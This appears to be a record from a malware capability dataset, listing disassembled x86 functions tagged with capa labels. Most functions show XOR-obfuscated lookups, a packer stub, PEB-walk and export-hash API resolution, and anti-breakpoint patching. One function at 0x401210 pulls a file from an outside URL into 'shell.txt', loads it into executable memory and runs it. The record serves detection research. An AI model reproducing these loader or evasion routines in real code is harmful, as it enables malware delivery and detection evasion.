joyce8/EMBER2024-capa huggingface dataset:
Function at 0x438950
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
sub esp, 0x24
mov esi, dword [ecx + 8]
test esi, esi
je 0x438a10
xor eax, eax
cmp dword [ecx], 0
jne 0x438a65
mov edx, dword [esp + 0x34]
mov dword [esp + 4], 0x18
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], esi
mov eax, dword [ecx + 0xc]
mov dword [esp + 0x20], eax
mov dword [esp], 0x898a8b8c
mov eax, 0x7260b95b
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + eax - 0x7260b95b]
xor ebx, eax
mov esi, ebx
not esi
and esi, 0xd9
and ebx, 0x26
sub ebx, esi
inc bl
mov byte [esp + eax - 0x7260b95b], bl
inc eax
cmp eax, 0x7260b95f
jne 0x4389c0
mov eax, dword [esp]
mov esi, dword [0x448334]
test esi, esi
je 0x438a65
xor edi, edi
mov ebx, dword [0x448338]
nop
cmp dword [ebx + edi*8], 0xf62c6d34
je 0x438a6e
inc edi
cmp esi, edi
jne 0x438a00
jmp 0x438a65
mov dword [esp + 4], 0x9e5d5c63
mov eax, 0x43
mov ecx, 0xbc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x3f]
lea edi, [ecx - 0x80]
and edi, 0x33
mov esi, eax
and esi, 0x44
or esi, edi
xor esi, 0x33
and esi, edx
lea ebx, [edx + edx]
not ebx
add ebx, edx
and ebx, ecx
or ebx, esi
mov dl, 0xe7
sub dl, bl
mov byte [esp + eax - 0x3f], dl
inc eax
dec ecx
cmp eax, 0x47
jne 0x438a30
mov eax, dword [esp + 4]
add esp, 0x24
pop esi
pop edi
pop ebx
ret 4
mov esi, dword [ebx + edi*8 + 4]
cmp esi, eax
je 0x438a65
lea eax, [esp + 0x1c]
lea edi, [esp + 4]
push eax
push edi
push edx
push ecx
push 0x10
push esi
push dword [0x44833c]
call fcn.0043a070
add esp, 0x1c
jmp 0x438a65

Function at 0x438aa0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx]
test eax, eax
je 0x438b3a
push ebx
push edi
push esi
push eax
mov dword [esp], 0x898a8b8c
mov edx, 0x7260b95b
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + edx - 0x7260b95b]
xor ebx, edx
mov esi, ebx
not esi
and esi, 0xd9
and ebx, 0x26
sub ebx, esi
inc bl
mov byte [esp + edx - 0x7260b95b], bl
inc edx
cmp edx, 0x7260b95f
jne 0x438ac0
mov edx, dword [0x448334]
test edx, edx
je 0x438b2e
mov esi, dword [esp]
xor edi, edi
mov ebx, dword [0x448338]
cmp dword [ebx + edi*8], 0xb430e561
je 0x438b10
inc edi
cmp edx, edi
jne 0x438b00
jmp 0x438b2e
mov edx, dword [ebx + edi*8 + 4]
cmp edx, esi
je 0x438b2e
push eax
push 4
push edx
push dword [0x44833c]
mov esi, ecx
call fcn.0043a070
mov ecx, esi
add esp, 0x10
mov dword [ecx], 0
add esp, 4
pop esi
pop edi
pop ebx
ret
Function at 0x438dd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
mov ebx, dword [esp + 0x28]
mov edi, dword [esp + 0x24]
mov ecx, dword [ecx]
mov dword [esp], 0x898a8b8c
mov eax, 0x7260b95b
nop
nop
nop
movzx edx, byte [esp + eax - 0x7260b95b]
xor edx, eax
mov esi, edx
not esi
and esi, 0xd9
and edx, 0x26
sub edx, esi
inc dl
mov byte [esp + eax - 0x7260b95b], dl
inc eax
cmp eax, 0x7260b95f
jne 0x438df0
test ebx, ebx
jne 0x438e22
lea ebx, [esp + 4]
mov eax, dword [esp]
mov ebp, dword [0x448334]
test ebp, ebp
je 0x438e74
xor edx, edx
mov esi, dword [0x448338]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [esi + edx*8], 0xa99f3325
je 0x438e50
inc edx
cmp ebp, edx
jne 0x438e40
jmp 0x438e74
mov ebp, dword [esi + edx*8 + 4]
cmp ebp, eax
je 0x438e74
push ebx
push edi
push dword [esp + 0x28]
push dword [esp + 0x28]
push ecx
push 0x14
push ebp
push dword [0x44833c]
call fcn.0043a070
add esp, 0x20
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret 0x10
Function at 0x43b620
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
call fcn.0043b5c0
xor ecx, ecx
cmp dword [esp + 0x1c], 0
sete cl
jmp dword [ecx*4 + 0x445a2c]

Function at 0x43b990
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x24
mov edi, dword [esp + 0x38]
movzx eax, word [edi]
mov dword [esp], 0x908bd4b
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xb6
xor dl, byte [esp + ecx]
add dl, 0x50
mov byte [esp + ecx], dl
lea edx, [ecx + ecx]
mov esi, edx
and esi, 2
and edx, ecx
or esi, ecx
xor esi, 1
add esi, edx
mov ecx, esi
cmp esi, 4
jb case.default.0x43b9e0
xor ecx, ecx
cmp dword [esp], eax
setne cl
xor eax, eax
jmp dword [ecx*4 + 0x445b0c]
mov edx, dword [edi + 0x3c]
mov eax, dword [edi + edx]
mov dword [esp], 0xd6d51123
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + esi]
mov ebx, esi
and ebx, 2
mov edi, esi
or edi, 2
imul edi, ebx
xor ebx, 2
mov ebp, esi
and ebp, 1
neg ebp
and ebp, ebx
mov ebx, esi
xor ebx, 0xf65d8b
add ebx, ebp
add ebx, edi
xor ebx, ecx
mov ecx, ebx
not ecx
mov edi, ebx
and edi, 0x384d13a7
xor ebx, 0xf84d13a7
lea edi, [ebx + edi*2]
mov ebx, edi
not ebx
or ebx, 1
add ebx, edi
inc ebx
xor edi, 1
and ecx, 1
or ecx, edi
mov edi, ecx
and edi, ebx
xor ecx, ebx
lea ecx, [ecx + edi*2]
mov byte [esp + esi], cl
inc esi
cmp esi, 4
jne case.default.0x43ba72
xor ecx, ecx
cmp eax, dword [esp]
setne cl
xor eax, eax
mov ebp, dword [esp + 0x38]
jmp dword [ecx*4 + 0x445b14]
jmp dword [0x445b28]
mov ecx, dword [0x445ba8]
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
Function at 0x43c060
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov ebp, dword [esp + 0x50]
mov ebx, dword [esp + 0x4c]
mov esi, dword [esp + 0x3c]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + eax + 2], 0
lea eax, [eax + 2]
jne 0x43c080
mov edi, eax
sar edi, 1
cmp edi, 0xfffffffb
jge 0x43c09b
mov eax, 0xffffffff
jmp 0x43c09e
add eax, 0xa
push eax
call fcn.00407fb0
add esp, 4
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
mov word [eax + 8], 0
mov ecx, eax
add ecx, 8
movzx edx, word [esi]
test dx, dx
je 0x43c0e1
add esi, 2
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x43c0d0
mov word [ecx], 0
lea ecx, [edi*2 + 8]
mov word [esp + 8], cx
lea ecx, [edi*2 + 0xa]
mov word [esp + 0xa], cx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x1c], 0x40
lea ecx, [esp + 8]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp], 0xb1b2b3b4
xor ecx, ecx
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xa3
xor dl, byte [esp + ecx]
add dl, 0xe8
mov byte [esp + ecx], dl
inc ecx
cmp ecx, 4
jne 0x43c140
mov esi, dword [esp]
mov ecx, dword [0x448334]
test ecx, ecx
je 0x43c1bf
xor edx, edx
mov edi, dword [0x448338]
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0x5f7891a5
je 0x43c180
inc edx
cmp ecx, edx
jne 0x43c170
jmp 0x43c1bf
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, esi
je 0x43c1bf
mov esi, esp
lea edx, [esp + 0x10]
push 0
push 0
push ebp
push ebx
push dword [esp + 0x58]
push dword [esp + 0x68]
push 0
push esi
push edx
push dword [esp + 0x68]
push dword [esp + 0x68]
push 0x2c
push ecx
push dword [0x44833c]
mov edi, eax
call fcn.0043a070
add esp, 0x38
mov esi, eax
mov eax, edi
push eax
call fcn.00407fc0
add esp, 4
mov eax, esi
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43c1e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov edi, dword [esp + 0x4c]
mov ebx, dword [esp + 0x3c]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + eax + 2], 0
lea eax, [eax + 2]
jne 0x43c200
mov esi, eax
sar esi, 1
cmp esi, 0xfffffffb
jge 0x43c21b
mov eax, 0xffffffff
jmp 0x43c21e
add eax, 0xa
push eax
call fcn.00407fb0
add esp, 4
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
lea ecx, [esi + 4]
mov word [eax + 8], 0
mov edx, eax
add edx, 8
movzx ebp, word [ebx]
test bp, bp
je 0x43c261
add ebx, 2
nop
nop
nop
mov word [edx], bp
add edx, 2
movzx ebp, word [ebx]
add ebx, 2
test bp, bp
jne 0x43c250
mov word [edx], 0
mov edx, ecx
and edx, 0xfffd
and esi, 2
mov ebx, esi
xor ebx, 2
imul ebx, edx
or ecx, 2
imul ecx, esi
lea edx, [ecx + ebx]
mov word [esp + 8], dx
add ecx, ebx
add ecx, 2
mov word [esp + 0xa], cx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x1c], 0x40
lea ecx, [esp + 8]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp], 0xb1b2b3b4
xor ecx, ecx
nop
nop
mov edx, ecx
add dl, 0xa3
xor dl, byte [esp + ecx]
add dl, 0xe8
mov byte [esp + ecx], dl
inc ecx
cmp ecx, 4
jne 0x43c2d0
mov esi, dword [esp]
mov ecx, dword [0x448334]
test ecx, ecx
je 0x43c344
xor edx, edx
mov ebx, dword [0x448338]
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edx*8], 0x75935cf9
je 0x43c310
inc edx
cmp ecx, edx
jne 0x43c300
jmp 0x43c344
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, esi
je 0x43c344
mov edx, esp
lea esi, [esp + 0x10]
push edi
push dword [esp + 0x4c]
push edx
push esi
push dword [esp + 0x54]
push dword [esp + 0x54]
push 0x18
push ecx
push dword [0x44833c]
mov edi, eax
call fcn.0043a070
add esp, 0x24
mov esi, eax
mov eax, edi
push eax
call fcn.00407fc0
add esp, 4
mov eax, esi
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43c360
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x50
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + eax + 2], 0
lea eax, [eax + 2]
jne 0x43c380
mov ebx, eax
sar ebx, 1
cmp ebx, 0xfffffffb
jge 0x43c39b
mov eax, 0xffffffff
jmp 0x43c39e
add eax, 0xa
push eax
call fcn.00407fb0
add esp, 4
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
mov word [eax + 8], 0
mov ecx, eax
add ecx, 8
movzx edx, word [esi]
test dx, dx
je 0x43c3e1
add esi, 2
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x43c3d0
mov word [ecx], 0
lea ecx, [ebx*2 + 8]
mov word [esp], cx
lea ecx, [ebx*2 + 0xa]
mov word [esp + 2], cx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], 0x40
mov ecx, esp
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0xb1b2b3b4
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xa3
xor dl, byte [esp + ecx + 0x20]
add dl, 0xe8
mov byte [esp + ecx + 0x20], dl
inc ecx
cmp ecx, 4
jne 0x43c440
mov esi, dword [esp + 0x20]
mov ecx, dword [0x448334]
test ecx, ecx
je 0x43c4a9
xor edx, edx
mov ebx, dword [0x448338]
nop
nop
nop
nop
cmp dword [ebx + edx*8], 0xcaa82e26
je 0x43c480
inc edx
cmp ecx, edx
jne 0x43c470
jmp 0x43c4a9
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, esi
je 0x43c4a9
lea edx, [esp + 0x20]
lea esi, [esp + 8]
push edx
push esi
push 8
push ecx
push dword [0x44833c]
mov ebx, eax
call fcn.0043a070
add esp, 0x14
mov esi, eax
mov eax, ebx
push eax
call fcn.00407fc0
add esp, 4
test edi, edi
je 0x43c4bc
mov eax, dword [esp + 0x40]
mov dword [edi], eax
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x43c4d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x28
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
mov dword [esp], 0xb1b2b3b4
xor eax, eax
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xa3
xor cl, byte [esp + eax]
add cl, 0xe8
mov byte [esp + eax], cl
inc eax
cmp eax, 4
jne 0x43c4f0
mov eax, dword [esp]
mov edx, dword [0x448334]
test edx, edx
je 0x43c558
xor ebx, ebx
mov ecx, dword [0x448338]
nop
nop
nop
nop
nop
nop
nop
cmp dword [ecx + ebx*8], 0xa269eeef
je 0x43c530
inc ebx
cmp edx, ebx
jne 0x43c520
jmp 0x43c558
mov edx, dword [ecx + ebx*8 + 4]
cmp edx, eax
je 0x43c558
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0x18
push eax
push ecx
push dword [ebp + 8]
push 0x14
push edx
push dword [0x44833c]
call fcn.0043a070
add esp, 0x20
test edi, edi
je 0x43c562
mov ecx, dword [esp + 8]
mov dword [edi], ecx
test esi, esi
je 0x43c56e
cmp byte [esp + 0x15], 0
setne byte [esi]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43c580
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
mov esi, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
mov dword [esp + 4], 0xb1b2b3b4
xor eax, eax
nop
nop
nop
mov ebx, eax
add bl, 0xa3
xor bl, byte [esp + eax + 4]
add bl, 0xe8
mov byte [esp + eax + 4], bl
inc eax
cmp eax, 4
jne 0x43c5a0
mov eax, dword [esp + 4]
mov ebx, dword [0x448334]
test ebx, ebx
je 0x43c60e
xor ebp, ebp
mov edi, dword [0x448338]
nop
nop
nop
nop
cmp dword [edi + ebp*8], 0xe88ddea1
je 0x43c5e0
inc ebp
cmp ebx, ebp
jne 0x43c5d0
jmp 0x43c60e
mov ebx, dword [edi + ebp*8 + 4]
cmp ebx, eax
je 0x43c60e
lea eax, [esp + 4]
push 0
push 0
push edx
push ecx
push eax
push 0
push 0
push 0
push dword [esp + 0x40]
push 0x24
push ebx
push dword [0x44833c]
call fcn.0043a070
add esp, 0x30
cmp eax, 0x103
jne 0x43c689
mov dword [esp], 0xb1b2b3b4
xor eax, eax
nop
nop
mov ecx, eax
add cl, 0xa3
xor cl, byte [esp + eax]
add cl, 0xe8
mov byte [esp + eax], cl
inc eax
cmp eax, 4
jne 0x43c620
mov eax, dword [esp]
mov ecx, dword [0x448334]
test ecx, ecx
je 0x43c681
xor edx, edx
mov edi, dword [0x448338]
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0xa67d73aa
je 0x43c660
inc edx
cmp ecx, edx
jne 0x43c650
jmp 0x43c681
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
je 0x43c681
push 0
push 0
push dword [esp + 0x28]
push 0xc
push ecx
push dword [0x44833c]
call fcn.0043a070
add esp, 0x18
test eax, eax
js 0x43c689
mov eax, dword [esp + 4]
test esi, esi
je 0x43c69c
xor ecx, ecx
cmp eax, 0xc0000011
je 0x43c69a
mov ecx, dword [esp + 8]
mov dword [esi], ecx
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43c6b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
mov esi, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
mov dword [esp + 4], 0xb1b2b3b4
xor eax, eax
nop
nop
nop
mov ebx, eax
add bl, 0xa3
xor bl, byte [esp + eax + 4]
add bl, 0xe8
mov byte [esp + eax + 4], bl
inc eax
cmp eax, 4
jne 0x43c6d0
mov eax, dword [esp + 4]
mov ebx, dword [0x448334]
test ebx, ebx
je 0x43c73e
xor ebp, ebp
mov edi, dword [0x448338]
nop
nop
nop
nop
cmp dword [edi + ebp*8], 0x88822328
je 0x43c710
inc ebp
cmp ebx, ebp
jne 0x43c700
jmp 0x43c73e
mov ebx, dword [edi + ebp*8 + 4]
cmp ebx, eax
je 0x43c73e
lea eax, [esp + 4]
push 0
push 0
push edx
push ecx
push eax
push 0
push 0
push 0
push dword [esp + 0x40]
push 0x24
push ebx
push dword [0x44833c]
call fcn.0043a070
add esp, 0x30
cmp eax, 0x103
jne 0x43c7b9
mov dword [esp], 0xb1b2b3b4
xor eax, eax
nop
nop
mov ecx, eax
add cl, 0xa3
xor cl, byte [esp + eax]
add cl, 0xe8
mov byte [esp + eax], cl
inc eax
cmp eax, 4
jne 0x43c750
mov eax, dword [esp]
mov ecx, dword [0x448334]
test ecx, ecx
je 0x43c7b1
xor edx, edx
mov edi, dword [0x448338]
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0xa67d73aa
je 0x43c790
inc edx
cmp ecx, edx
jne 0x43c780
jmp 0x43c7b1
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
je 0x43c7b1
push 0
push 0
push dword [esp + 0x28]
push 0xc
push ecx
push dword [0x44833c]
call fcn.0043a070
add esp, 0x18
test eax, eax
js 0x43c7b9
mov eax, dword [esp + 4]
test esi, esi
je 0x43c7c3
mov ecx, dword [esp + 8]
mov dword [esi], ecx
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x43c7d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [esp + 0x48]
mov esi, dword [esp + 0x44]
mov edx, dword [esp + 0x40]
mov edi, dword [esp + 0x38]
mov ebx, 0xfffffffe
nop
nop
nop
nop
cmp word [edi + ebx + 2], 0
lea ebx, [ebx + 2]
jne 0x43c7f0
sar ebx, 1
mov ecx, ebx
and ecx, 2
mov ebp, ebx
or ebx, 2
imul ebx, ecx
xor ecx, 2
and ebp, 0xfffd
imul ebp, ecx
lea ecx, [ebx + ebp]
mov word [esp + 4], cx
lea ecx, [ebx + ebp]
add ecx, 2
mov word [esp + 6], cx
mov dword [esp + 8], edi
mov dword [esp + 0xc], 0x18
mov dword [esp + 0x10], eax
mov dword [esp + 0x18], 0x40
lea eax, [esp + 4]
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp], 0xb1b2b3b4
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xa3
xor cl, byte [esp + eax]
add cl, 0xe8
mov byte [esp + eax], cl
inc eax
cmp eax, 4
jne 0x43c870
mov eax, dword [esp]
mov edi, dword [0x448334]
test edi, edi
je 0x43c8df
xor ebx, ebx
mov ebp, dword [0x448338]
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebp + ebx*8], 0xb7847e1b
je 0x43c8bb
mov ecx, ebx
and ecx, 1
xor ebx, 1
lea ebx, [ebx + ecx*2]
cmp ebx, edi
jb 0x43c8a0
jmp 0x43c8df
mov edi, dword [ebp + ebx*8 + 4]
cmp edi, eax
je 0x43c8df
lea eax, [esp + 0xc]
push esi
push eax
push edx
push dword [esp + 0x48]
push 0x10
push edi
push dword [0x44833c]
call fcn.0043a070
add esp, 0x1c
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x48fc7d
Capabilities:
Parse pe header

Disassembly:
pushal
xor edx, edx
mov esi, dword fs:[edx]
lodsd eax, dword [esi]
cmp eax, 0xffffffff
je 0x48fc8d
mov esi, eax
jmp 0x48fc83
mov edi, dword [esi + 4]
and edi, 0xffff0000
cmp word [edi], 0x5a4d
je 0x48fca5
sub edi, 0x10000
jmp 0x48fc96
mov ebx, edi
add ebx, dword [ebx + 0x3c]
cmp word [ebx], 0x4550
je 0x48fcb3
jmp 0x48fc96
mov dword [esp + 0x1c], edi
popal
ret

Function at 0x48fcb9
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
pushal
mov ebx, dword [esp + 0x24]
mov ecx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
add ebx, ecx
mov edi, dword [ebx + 0x20]
add edi, ecx
xor esi, esi
lea edx, [edi + esi*4]
mov edx, dword [edx]
add edx, ecx
xor eax, eax
rol eax, 7
xor al, byte [edx]
inc edx
cmp byte [edx], 0
jne 0x48fcd8
cmp eax, dword [esp + 0x28]
je 0x48fcef
inc esi
cmp esi, dword [ebx + 0x18]
jb 0x48fccf
mov edx, dword [ebx + 0x24]
add edx, ecx
movzx edx, word [edx + esi*2]
mov eax, dword [ebx + 0x1c]
add eax, ecx
mov eax, dword [eax + edx*4]
add eax, ecx
mov dword [esp + 0x1c], eax
popal
ret 8
Function at 0x414806
Capabilities:
Allocate or change rwx memory

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x414860
push 0
push 0
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov dword [esi], eax
test eax, eax
je 0x414860
mov ecx, dword [esp + 0xc]
test ecx, ecx
jne 0x41482f
mov ecx, 0x20
mov eax, 0x20
cdq
idiv ecx
push 0x40
push 0x3000
lea eax, [edx + ecx]
mov dword [esi + 8], eax
shl eax, 7
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esi + 4], eax
test eax, eax
jne 0x414860
mov dword [esi], eax
pop esi
ret 8

Function at 0x414a43
Capabilities:
Check for software breakpoints

Disassembly:
mov ecx, dword [esp + 4]
mov eax, 0xfffffffb
lea esp, [esp]
mov dl, byte [eax + ecx]
cmp dl, 0x90
je 0x414a60
cmp dl, 0xcc
jne 0x414aaa
inc eax
cmp eax, 0xffffffff
jle 0x414a53
mov al, byte [ecx]
cmp al, 0x8b
je 0x414a70
cmp al, 0x89
jne 0x414aaa
cmp byte [ecx + 1], 0xff
jne 0x414aaa
mov eax, 0x414aae
mov byte [ecx - 5], 0xe9
sub eax, ecx
mov dword [ecx - 4], eax
lea eax, [ecx + 2]
mov dword [0x41e670], eax
mov eax, 0xf9eb
push 0
push 0
mov word [ecx], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov al, 1
ret 0xc
xor al, al
jmp 0x414aa7
Function at 0x401210
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get file attributes
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
push 0x4021d8
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401266
push str.C:UsersPublicDocuments_shell.txt
lea ecx, [ebp - 0x40]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str.https:__fs_im_kefu.7moor_fs1.com_ly_4d2c3f00_7d4c_11e5_af15_41bf63ae4ea0_1733128243190_3.txt
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x24]
call section..text
add esp, 4
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x40]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push 0x4021d8
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
push 0
cmp esi, 0xffffffff
jne 0x4012ac
push 0x4022a8
push 0x4022b0
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4012d3
push 0
push 0x4022a8
push 0x4022c0
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x401363
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 8], ebx
push 0
test ebx, ebx
jne 0x401301
push 0x4022a8
push 0x4022d4
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x401363
lea ecx, [ebp - 4]
push ecx
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401341
cmp dword [ebp - 4], edi
jne 0x401341
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
mov edx, dword [ebp - 8]
push 0x8000
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0
push 0x4022a8
push 0x4022e4
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40166c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x401676
repz ret
jmp fcn.0040198f